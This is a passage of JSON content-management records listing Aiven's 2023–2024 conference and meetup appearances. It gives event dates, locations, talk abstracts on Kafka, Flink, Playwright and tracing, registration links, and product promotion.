success."}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"bae3477be4ae","_ref":"36874b14-1068-41af-a5b3-810819479ef7","_type":"reference"}],"title":"The DevRel Guide to Serious Business"}],"title":"DevRelCon New York","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-01-08T12:58:19Z","_id":"5a9e3cd2-484e-44ac-8f84-7a81d030aeed","_rev":"3k3vwhvhnpMxr5ODyxvFLK","_type":"event","_updatedAt":"2024-03-04T16:53:22Z","contentIsPage":false,"country":"SG","description":[{"_key":"ebc6b558599d","_type":"block","children":[{"_key":"dfe9baa0065a0","_type":"span","marks":[],"text":"Join us on March 20th at IMDA, for talks by Saranya Sriram, Principal PM Manager Azure Cosmos DB at Microsoft, and Amine Slimane, Director of Solution Architecture at Aiven."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-20T20:00:00.000Z","linkTitle":"Register","location":"Singapore","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/singapore-open-source-data-infrastructure-meetup/events/297884082/","title":"RSVP"},"region":"APAC","startDate":"2024-03-20T17:00:00.000Z","title":"Singapore OSDI","type":"meetup","virtualEvent":false} {"__i18n_lang":"en","_createdAt":"2024-06-25T20:03:51Z","_id":"a5e9e7ad-3f9c-4e96-ab5a-a46dcd6e34b9","_rev":"FWfcFyz4v76XPZNTICngfX","_type":"event","_updatedAt":"2024-06-25T20:03:51Z","contentIsPage":false,"country":"US","description":[{"_key":"3c9900ffd4d9","_type":"block","children":[{"_key":"5ffab24c371b0","_type":"span","marks":[],"text":"Render is the premier conference \u0026amp; expo for technology professionals to keep their skills sharp for the ever-evolving technology landscape while rapidly expanding their professional network. Featuring a diverse lineup of technical speakers \u0026 immersive workshops covering industry-leading topics around Artificial Intelligence \u0026amp; Machine Learning, Design Systems, Shift-Left \u0026 Developer Testing, Technical Leadership/Management Training \u0026 more!"}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-14T21:00:00.000Z","hideInEventPage":false,"linkTitle":"Register","location":"Atlanta, GA","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://renderatl.com","title":"Learn More"},"region":"AMER","startDate":"2024-06-12T12:00:00.000Z","talks":[{"_key":"357ff9aa91c9","_type":"talk","description":[{"_key":"008c73167786","_type":"block","children":[{"_key":"fd50b76d696a0","_type":"span","marks":[],"text":"Maybe if you own all the components or if you have a testing team to make sure everything is acting the way it should. Sadly end-to-end testing is full of pitfalls and things to think about, especially when you don't control the entire stack. Often you end up with awkward conversations with engineering, marketing and others as you all fight for space to get your message across."}],"markDefs":[],"style":"normal"},{"_key":"47b120f2f67a","_type":"block","children":[{"_key":"6fa86ebe48ea0","_type":"span","marks":[],"text":"Enter "},{"_key":"6fa86ebe48ea1","_type":"span","marks":["4a7670aeaaa2"],"text":"Playwright"},{"_key":"6fa86ebe48ea2","_type":"span","marks":[],"text":", the open-source testing platform, to help us test what we control and what we don't. This talk will walk through testing your site End-to-End with playwright. We'll address the highlights, concerns and next steps when you need to test things that may or may not be in your control. It won't solve all your testing problems but it will help you identify when you need to have those awkward conversations early before they're with your users."}],"markDefs":[{"_key":"4a7670aeaaa2","_type":"link","href":"https://playwright.dev/"}],"style":"normal"}],"speakers":[{"_key":"aba23269acdc","_ref":"4ab857b2-5a96-4d94-b58b-bbe9cd0d8bc0","_type":"reference"}],"title":"Awkard End-to-End Testing with Playwright"}],"title":"RenderATL 2024","type":"event"} {"__i18n_lang":"en","_createdAt":"2024-02-01T04:34:28Z","_id":"b5715188-1c5f-4c67-96e0-73cf65e4ba56","_rev":"ZLvKaZvfbZlWBlGcpPOQxG","_type":"event","_updatedAt":"2024-02-01T04:49:35Z","contentIsPage":false,"country":"AU","description":[{"_key":"8a01c9791246","_type":"block","children":[{"_key":"7b4ada5bcc990","_type":"span","marks":[],"text":"The "},{"_key":"7a06e4306f54","_type":"span","marks":["f0356b4ace35"],"text":"Cloud and Platform Engineering Summit VIC"},{"_key":"2c187a9e0a6e","_type":"span","marks":[],"text":" will explore how to enhance infrastructure, build enabling platforms, and navigate challenges while maintaining efficiency and cost control."}],"markDefs":[{"_key":"f0356b4ace35","_type":"link","href":"https://forefrontevents.co/event/cloud-platform-engineering-summit-vic-24/"}],"style":"normal"},{"_key":"563185ce377d","_type":"block","children":[{"_key":"411c52a93851","_type":"span","marks":["strong"],"text":"Swing by the Aiven stand"},{"_key":"e35abaadb603","_type":"span","marks":[],"text":" to chat about your cloud infrastructure challenges and "},{"_key":"939aa019d03b","_type":"span","marks":["strong"],"text":"grab FREE Aiven credits"},{"_key":"338d319d193f","_type":"span","marks":[],"text":" to try the platform yourself."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-20T06:00:00.000Z","image":{"_type":"mainImage","alt":"Cloud and Platform Engineering Summit VIC cover image","asset":{"_ref":"image-ec74766c4ee91a2ca614b0fad2aaae1446cd6734-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Melbourne","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://contact.aiven.co/c/Pranay_Shree#/select-time ","title":"Book a meeting at the stand"},"region":"APAC","startDate":"2024-03-19T21:00:00.000Z","title":"Cloud and Platform Engineering Summit VIC","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-01T05:15:44Z","_id":"5758e3b9-32fd-45aa-9936-719e770e7b61","_rev":"ZLvKaZvfbZlWBlGcpPQTEv","_type":"event","_updatedAt":"2024-02-01T05:17:59Z","contentIsPage":false,"country":"AU","description":[{"_key":"37b4d9de82c3","_type":"block","children":[{"_key":"ff1626e919cc0","_type":"span","marks":[],"text":"To meet user demands and remain competitive, organisations must cultivate the right tools and processes in their software development and delivery. "}],"markDefs":[{"_key":"7e81dd61acd0","_type":"link","href":"https://forefrontevents.co/event/devops-summit-vic-2024/"}],"style":"normal"},{"_key":"5abc5b1ca84e","_type":"block","children":[{"_key":"06956a64070f","_type":"span","marks":["strong"],"text":"Join and meet team Aiven"},{"_key":"f001b1df15ca","_type":"span","marks":[],"text":" at the "},{"_key":"83d241896300","_type":"span","marks":["7e81dd61acd0"],"text":"DevOps Summit VIC"},{"_key":"555260c89a92","_type":"span","marks":[],"text":". Whether you're facing hurdles or simply looking to optimise, our experts will be there to show you the value the Aiven platform brings combining all the tools you need to connect to the data services you use."}],"markDefs":[{"_key":"7e81dd61acd0","_type":"link","href":"https://forefrontevents.co/event/devops-summit-vic-2024/"}],"style":"normal"}],"endDate":"2024-03-26T06:00:00.000Z","image":{"_type":"mainImage","alt":"DevOps Summit Melbourne cover image","asset":{"_ref":"image-b6fe31ea32b4722fd6fb63a9ffc0a8e487e95c22-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Melbourne","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://contact.aiven.co/c/Pranay_Shree#/select-time","title":"Book a meeting at the stand"},"region":"APAC","startDate":"2024-03-25T21:00:00.000Z","title":"DevOps Summit VIC","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-06T08:34:13Z","_id":"d6c27c57-92ab-4d80-9a34-b88c63b57dfa","_rev":"8mGThtWzkZE49nEaOAK72S","_type":"event","_updatedAt":"2024-02-06T13:30:42Z","contentIsPage":false,"country":"IN","description":[{"_key":"1829bf2d3295","_type":"block","children":[{"_key":"bf32e7ded6f2","_type":"span","marks":[],"text":"Join Olena Kutsenko in Bengaluru, for her session at Kafka Summit."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-02T15:00:00.000Z","linkTitle":"Register","location":"Bengaluru","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.kafka-summit.org/events/kafka-summit-bangalore-2024/about","title":"Attend"},"region":"APAC","startDate":"2024-05-02T07:00:00.000Z","talks":[{"_key":"623835cdca65","_type":"talk","description":[{"_key":"7866aceb21fb","_type":"block","children":[{"_key":"5c94512245c50","_type":"span","marks":[],"text":"If you are new to Apache Kafka, or you're looking for good practices to design your partitions and avoid common pitfalls, you'll find this session useful!"}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"96916ecfcbe1","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"title":"Beginners guide to balance your data across Apache Kafka partitions"}],"title":"Kafka Summit","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-06T15:29:43Z","_id":"725c2607-6f99-4053-9a30-5e2842a84685","_rev":"AUoLUkEDo6CVeRx5shGLgX","_type":"event","_updatedAt":"2024-02-06T18:22:58Z","contentIsPage":false,"country":"FR","description":[{"_key":"7cd6b5608f55","_type":"block","children":[{"_key":"5ed978a55dd5","_type":"span","marks":[],"text":"Join Jonah Kowall's \""},{"_key":"f87362607ebe","_type":"span","marks":["9a77820f71c0"],"text":"Distributed Tracing with Jaeger and OpenTelemetry"},{"_key":"b08310b39fa9","_type":"span","marks":[],"text":"\", and Michael Hoffmann's \""},{"_key":"325f17491f4f","_type":"span","marks":["f34872493d4b"],"text":"From UI to Storage: Unraveling the Magic of Thanos Query Processing"},{"_key":"56c0f0663a66","_type":"span","marks":[],"text":"\" at KubeCon + CloudNativeCon, in Paris, France."}],"markDefs":[{"_key":"f34872493d4b","_type":"link","href":"https://kccnceu2024.sched.com/?iframe=yes\u0026w=100%\u0026sidebar=yes\u0026bg=no#"},{"_key":"9a77820f71c0","_type":"link","href":"https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/program/schedule/"}],"style":"normal"}],"endDate":"2024-03-22T16:00:00.000Z","linkTitle":"Register","location":"Paris","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://events.linuxfoundation.org/kubecon-cloudnativecon-europe/program","title":"Attend"},"region":"EMEA","startDate":"2024-03-19T08:00:00.000Z","title":"KubeCon EU","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-12T09:21:13Z","_id":"89425e93-690b-4644-bba6-770558893646","_rev":"aqN8LslQ3cZYmtCXJ0GppN","_type":"event","_updatedAt":"2024-02-12T09:21:13Z","contentIsPage":false,"country":"GB","description":[{"_key":"22506c643011","_type":"block","children":[{"_key":"5086f1aaadbf0","_type":"span","marks":[],"text":"Join us on March 20th, for a meetup cohosted by "},{"_key":"5086f1aaadbf1","_type":"span","marks":["5fc95cc9f965"],"text":"Decodable"},{"_key":"5086f1aaadbf2","_type":"span","marks":[],"text":" and "},{"_key":"5086f1aaadbf3","_type":"span","marks":["a9a5132da1df"],"text":"Aiven"},{"_key":"5086f1aaadbf4","_type":"span","marks":[],"text":". Bring your lightning talk(s)!"}],"markDefs":[{"_key":"5fc95cc9f965","_type":"link","href":"https://www.decodable.co/"},{"_key":"a9a5132da1df","_type":"link","href":"https://aiven.io/"}],"style":"normal"}],"endDate":"2024-03-20T20:00:00.000Z","linkTitle":"Register","location":"London","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/uk-open-source-data-infrastructure-meetup/events/299077949/","title":"RSVP"},"region":"EMEA","startDate":"2024-03-20T16:00:00.000Z","title":"London OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-05-03T09:42:46Z","_id":"4d7986e7-8b5a-4109-a99b-3a52cdcd1ff7","_rev":"7xfFClh5q4hYckYFjdqvWo","_type":"event","_updatedAt":"2024-05-09T15:01:01Z","country":"CZ","description":[{"_key":"16ed8aef1f16","_type":"block","children":[{"_key":"ccab3ee77a9c","_type":"span","marks":[],"text":"Going to the the largest conference for the Python programming language in Europe? Make sure to attend Tibs' talk \"Fish and Chips and Apache Kafka®\"!"}],"markDefs":[],"style":"normal"}],"endDate":"2023-07-23T15:00:00.000Z","location":"Prague","person":[{"_key":"a5a9291f3f69","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"primaryCTA":{"_type":"link","externalUrl":"https://ep2023.europython.eu/","title":"Attend"},"startDate":"2023-07-17T07:00:00.000Z","tags":[{"_key":"ac1e17ff11b7","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"}],"talks":[{"_key":"b3ae3fb5c029","_type":"talk","description":[{"_key":"19835e4add3d","_type":"block","children":[{"_key":"194e7af3f63e0","_type":"span","marks":[],"text":"Apache Kafka® is the de facto standard in the data streaming world for sending messages from multiple producers to multiple consumers, in a fast, reliable and scalable manner."}],"markDefs":[],"style":"normal"},{"_key":"14ae16f21406","_type":"block","children":[{"_key":"9119b2d05574","_type":"span","marks":[],"text":"Learn the basic concepts and how to use it, by modelling a traditional British fish and chips shop!"}],"markDefs":[],"style":"normal"},{"_key":"dfc6035b7352","_type":"block","children":[{"_key":"aaa9201a3a93","_type":"span","marks":[],"text":"- Find the slides and demo code on "},{"_key":"82e23cbc6019","_type":"span","marks":["7079b2c89052"],"text":"Aiven Labs"}],"markDefs":[{"_key":"7079b2c89052","_type":"link","href":"https://github.com/Aiven-Labs/fish-and-chips-and-kafka"}],"style":"normal"},{"_key":"a1a4ae164485","_type":"block","children":[{"_key":"6176380f9059","_type":"span","marks":[],"text":"- "},{"_key":"e80fcabc37a3","_type":"span","marks":["7e7573a24856"],"text":"Watch the video"},{"_key":"e5c8aa2423f2","_type":"span","marks":[],"text":" (please note the corrections in the text below the video) "}],"markDefs":[{"_key":"7e7573a24856","_type":"link","href":"https://www.youtube.com/watch?v=T-EF8htxrsc\u0026list=PL8uoeex94UhFcwvAfWHybD7SfNgIUBRo-\u0026index=32"}],"style":"normal"},{"_key":"ff8a7dd0c973","_type":"block","children":[{"_key":"2c9ca32edacc","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"speakers":[{"_key":"dfc681fda583","_ref":"39de7edc-e73b-4450-8643-685356de411c","_type":"reference"}],"title":"Fish and Chips and Apache Kafka®"}],"title":"EuroPython 2023","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-02-21T15:02:16Z","_id":"0ccd55c9-c7fb-4bce-b697-b5bd2e6fffeb","_rev":"IWll06JTQ4C3MRhtUQSwhk","_type":"event","_updatedAt":"2024-02-21T15:02:16Z","contentIsPage":false,"country":"DE","description":[{"_key":"bfcd751a5f6a","_type":"block","children":[{"_key":"f700682c3d060","_type":"span","marks":[],"text":"Join Dirk Krautschick for his session \"StandBy-Database Shootout - PostgreSQL vs. Oracle\", at PostgreSQL Conference Germany. "}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-12T15:00:00.000Z","linkTitle":"Register","location":"Munich","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"http://pgconf.de/","title":"Attend"},"region":"EMEA","startDate":"2024-04-12T07:00:00.000Z","title":"PGConf Germany","type":"conference"} {"__i18n_lang":"en","_createdAt":"2023-12-21T13:23:34Z","_id":"7fe53c3a-daf0-4db8-97be-a78bd63d73ea","_rev":"3k3vwhvhnpMxr5ODyxujoC","_type":"event","_updatedAt":"2024-03-04T16:48:26Z","contentIsPage":false,"country":"NL","description":[{"_key":"414aa9227b19","_type":"block","children":[{"_key":"c021297997720","_type":"span","marks":[],"text":"Join us March 6 at Pakhuis de Zwijger, for talks by Thijs Koot, Data Engineer at Dataworkz, and Gaby Schilders, EDB."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-06T20:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/297918240/","title":"RSVP"},"region":"EMEA","startDate":"2024-03-06T17:00:00.000Z","title":"Amsterdam OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-03-04T17:02:15Z","_id":"b9625c51-971e-4a3f-bf6c-dbf34d0b4c10","_rev":"9lf0N1nj0tQugwM8VKeVt2","_type":"event","_updatedAt":"2024-03-04T17:02:15Z","contentIsPage":false,"country":"SE","description":[{"_key":"7f6ef615b233","_type":"block","children":[{"_key":"52d950432d93","_type":"span","marks":[],"text":"Join the Stockholm Open Source Data Infrastructure meetup for talks by Mostafa Moradian from Grafana Labs, and others."}],"markDefs":[],"style":"normal"}],"endDate":"2024-05-15T18:00:00.000Z","linkTitle":"Register","location":"Stockholm","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/stockholm-open-source-data-infrastructure-meetup/events/298797853/","title":"RSVP"},"region":"EMEA","startDate":"2024-05-15T15:00:00.000Z","title":"Stockholm OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2023-11-30T09:19:13Z","_id":"ed6e2618-0084-450f-8911-25d944fe1caa","_rev":"3k3vwhvhnpMxr5ODyxvyDu","_type":"event","_updatedAt":"2024-03-04T16:57:42Z","contentIsPage":false,"country":"DE","description":[{"_key":"bf4605733c5a","_type":"block","children":[{"_key":"0d547115d028","_type":"span","marks":[],"text":"Join us at the Aiven office in Berlin for talks by Celeste Horgan (Aiven) and Kevin Lewis (Directus), and by Gülçin Yıldırım (EDB)."}],"markDefs":[],"style":"normal"}],"endDate":"2024-04-02T19:00:00.000Z","linkTitle":"Register","location":"Berlin","pageType":{"_type":"eventPage","calendlyWidget":{"height":"600px"},"heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/berlin-open-source-data-infrastructure-meetup/events/297518390/","title":"RSVP"},"region":"EMEA","startDate":"2024-04-02T16:00:00.000Z","title":"Berlin OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-03-04T17:05:14Z","_id":"6d864ba8-cc68-4e99-bbbf-64d7ccaf262b","_rev":"9lf0N1nj0tQugwM8VKegHA","_type":"event","_updatedAt":"2024-03-04T17:05:14Z","contentIsPage":false,"country":"NL","description":[{"_key":"cb9503066fb8","_type":"block","children":[{"_key":"1d90fe9c8c71","_type":"span","marks":[],"text":"Join the Amsterdam Open Source Data Infrastructure meetup with talks by Dave Pitts, Database Engineer at Adyen, and Piet de Visser, an independent database consultant."}],"markDefs":[],"style":"normal"}],"endDate":"2024-06-18T19:00:00.000Z","linkTitle":"Register","location":"Amsterdam","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.meetup.com/amsterdam-open-source-data-infrastructure-meetup/events/299154225/","title":"RSVP"},"region":"EMEA","startDate":"2024-06-18T16:00:00.000Z","title":"Amsterdam OSDI","type":"meetup"} {"__i18n_lang":"en","_createdAt":"2024-03-07T02:37:29Z","_id":"7131612b-4265-4590-9a33-12a2e53e9056","_rev":"oDDEDb680V5VDIizriq3vJ","_type":"event","_updatedAt":"2024-03-07T02:37:29Z","contentIsPage":false,"country":"AU","description":[{"_key":"cb08104f05c3","_type":"block","children":[{"_key":"d01763e7c3610","_type":"span","marks":[],"text":"As organizations embrace AI at scale, the significance of high-quality, abundant data cannot be overstated. In this landscape, a robust data platform plays a critical role as the backbone of successful AI initiatives."}],"markDefs":[],"style":"normal"},{"_key":"c000a67b5d1c","_type":"block","children":[{"_key":"e80d0ccc90fe","_type":"span","marks":[],"text":"Join in to hear our Director of Solution Architecture Amine Slimante present "},{"_key":"3b42f599d3f5","_type":"span","marks":["strong","em"],"text":"Multicloud Open Data Platform: The Fuel to Power Up Your AI Strategy. "}],"markDefs":[],"style":"normal"},{"_key":"d011e2719b75","_type":"block","children":[{"_key":"8015af8dc8190","_type":"span","marks":[],"text":"The session explores how organisations can harness the power of multicloud AI and optimise their data platforms."}],"markDefs":[],"style":"normal"}],"endDate":"2024-03-14T06:00:00.000Z","image":{"_type":"mainImage","alt":"Amine Slimane keynote ","asset":{"_ref":"image-7e78d1aa1830ec2f66a6423369dc8c568121d426-1200x628-png","_type":"reference"}},"linkTitle":"Register","location":"Melbourne","pageType":{"_type":"eventPage","heroWithCountdown":false,"iframeForm":{"iframeHeight":800},"isCaptionShown":false,"replaceContent":false},"primaryCTA":{"_type":"link","externalUrl":"https://www.dcmgroup.com.au/datatech-anz-march-2024","title":"Find out more"},"region":"APAC","seo":{"_type":"metaData","metaDescription":"Multicloud open data platform - the fuel to power up your AI strategy\n\nSYNOPSIS:\nAs organizations embrace AI at scale, the significance of high-quality, abundant data cannot be overstated. In this landscape, a robust data platform plays a critical role as the backbone of successful AI initiatives.\nWith the trend heading towards hybrid and multicloud solutions - also accelerated by regulatory pressures and the desire to avoid vendor lock-in - the essence of multicloud lies in establishing a consistent data platform across clouds. By doing so, organizations can leverage the same suite of data tools regardless of the AI tools or cloud services they employ. This approach not only eliminates the risk of data silos but also fosters interoperability, efficiency and cost optimisation.\n\nThis keynote explores how organizations can harness the power of multicloud AI and optimize their data platforms to stay ahead in today's competitive landscape."},"startDate":"2024-03-13T21:30:00.000Z","tags":[{"_key":"a196dfa09d19","_ref":"010c153e-6cdd-435a-ac5a-7800b7380103","_type":"tag"},{"_key":"3ac5d41993ca","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Data-Tech ANZ Series: Technology, Data Intelligence \u0026 Security Conference","type":"conference"} {"__i18n_lang":"en","_createdAt":"2024-07-19T14:42:25Z","_id":"2ce96a4a-31f3-4244-b969-0145efa0175a","_rev":"5fcwn9xvrPGrDleeYv7IsA","_type":"event","_updatedAt":"2024-07-24T20:13:08Z","contentIsPage":true,"country":"US","description":[{"_key":"21dd9b64e52d","_type":"block","children":[{"_key":"5e854e00cf050","_type":"span","marks":[],"text":"Visit Aiven at booth #303 and attend our sessions to learn how a data and AI platform can help lower your cloud and infrastructure costs and build next-gen apps quickly and efficiently."}],"markDefs":[],"style":"normal"}],"endDate":"2024-09-18T16:30:00.000Z","linkTitle":"Meet with Aiven!","location":"Austin Convention Center, Austin, Texas","pageType":{"_type":"eventPage","content":[{"_key":"8fafaaf9acad","_type":"eventSessionList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"b938a0e2b32a","_type":"eventSessionItem","avatars":[{"_key":"b52f7d125787","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"category":"Breakout Room 3","description":[{"_key":"1dd60bd985a9","_type":"block","children":[{"_key":"ac0341f2b06d0","_type":"span","marks":[],"text":"In this session, we'll build a system using open-source technologies, Apache Kafka and Apache Flink, and AI models to get real-time sentiment from social media data. "},{"_key":"99075419fad8","_type":"span","marks":["b182c105f80e"],"text":"Full details here"},{"_key":"5b9b6c03845a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b182c105f80e","_type":"link","href":"https://events.bizzabo.com/599116/agenda/session/1336680"}],"style":"normal"}],"time":"Tue Sep 17, 3:00 PM - 3:45 PM CDT","title":"Sentiment Analysis in Action with Apache Flink: Building Your Real-time Pipeline"},{"_key":"5e2156fc71de1c1cf94c5ece0ca68e56","_type":"eventSessionItem","avatars":[{"_key":"797b95f30a6e","_ref":"c95e16f7-63c0-4057-83be-808a7ec98250","_type":"reference"}],"category":"Breakout Room 6","description":[{"_key":"a4987a7c3164","_type":"block","children":[{"_key":"2f651fe415ad","_type":"span","marks":[],"text":"In this talk, we’ll be discussing the history of offset translation across the MirrorMaker2 versions, the existing translation algorithm, and its weaknesses. We’ll explain the design constraints surrounding the algorithm, and how MirrorMaker2 tries to strike a balance between memory usage, offset accuracy, offset precision, and translation availability. "},{"_key":"3d31e0f6d852","_type":"span","marks":["a565bae2f1d3"],"text":"Full details here"},{"_key":"a4cd395bee13","_type":"span","marks":[],"text":". "}],"markDefs":[{"_key":"a565bae2f1d3","_type":"link","href":"https://events.bizzabo.com/599116/agenda/session/1336707"}],"style":"normal"}],"time":"Wed Sep 18, 11:00 AM - 11:45 AM CDT","title":"MirrorMaker 2’s Offset Translation Isn’t Exactly Once (and That’s Okay)"}],"itemsPerRow":2,"noSpaceBottom":true,"noSpaceTop":true,"roundedCorners":"rounded-none","tagline":"See you there!","title":"Sessions at Current 2024","topOverlap":false},{"_key":"e0b9d2405ba1","_type":"textImage","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-bc5bfe2c6e53e73d5c53201eabec5ea67883cc29-2806x1607-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"#","title":"Book onsite demo"},"roundedCorners":"rounded","secondaryCTA":{"_type":"link","internalLink":{"_ref":"5e18872b-5613-4fc8-aaaa-0a36263634f5","_type":"reference"},"title":"Learn more about Aiven for Apache Kafka®"},"text":[{"_key":"e5f4e9fc447e","_type":"block","children":[{"_key":"f20ae97b29fd0","_type":"span","marks":[],"text":"Aiven’s fully managed service for Apache Kafka comes with an open source streaming ecosystemof tools and technologies around Kafka itself with:"}],"markDefs":[],"style":"normal"},{"_key":"a45e92f5ea9f","_type":"block","children":[{"_key":"43d9368c43da","_type":"span","marks":["strong"],"text":"fully managed Apache Kafka Connect®"},{"_key":"ee448074ce21","_type":"span","marks":[],"text":" and 30+ open source connectors, to seamlessly integrate existing data sources and sinks"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ac768688326a","_type":"block","children":[{"_key":"c4257537278c","_type":"span","marks":["strong"],"text":"fully managed Apache Kafka MirrorMaker® 2"},{"_key":"508eee8f994c","_type":"span","marks":[],"text":", for cluster to cluster data replication, disaster recovery and geographic proximity across multiple regions and cloud providers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0c6f6a805b0e","_type":"block","children":[{"_key":"7d0d610dae38","_type":"span","marks":["strong"],"text":"fully managed Aiven for Apache Flink®"},{"_key":"33a481ba4185","_type":"span","marks":[],"text":" for stateful stream processing over data streams"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be441b498706","_type":"block","children":[{"_key":"ddacc7a41e50","_type":"span","marks":["strong"],"text":"Karapace: a fully open source Kafka Schema Registry"},{"_key":"d4bc06d773a0","_type":"span","marks":[],"text":" supporting AVRO, Protobuf and JSON formats"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"11fd88e7a72c","_type":"block","children":[{"_key":"7197a7e03545","_type":"span","marks":["strong"],"text":"Klaw"},{"_key":"c035755a8371","_type":"span","marks":[],"text":" "},{"_key":"1b39a3869755","_type":"span","marks":["strong"],"text":"for data governance"},{"_key":"65d5398d3b37","_type":"span","marks":[],"text":" for exercising Apache Kafka topic and schema governance in a self-service manner"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"What is Apache Kafka like with Aiven?","variant":"mediaLeft"},{"_key":"346399997719","_type":"testimonial","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"items":[{"_key":"56aeb57fbe4b","_ref":"bd660861-fdd6-4838-8c78-6a748995588e","_type":"reference"},{"_key":"20cc7db9d4b7","_ref":"13b9f7a4-7dfe-4ae2-9049-6c638f3cf289","_type":"reference"},{"_key":"7a4baa917bca","_ref":"9c8cc397-7b4c-44da-a1b3-c5b2d2d2af80","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","showCompanyLogoAndTags":true,"tagline":"Over 1000 customers worldwide","title":"Customer Stories","variant":"default"},{"_key":"y9h9gygziubu6tiiv8c9aj221zbuy9at","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center 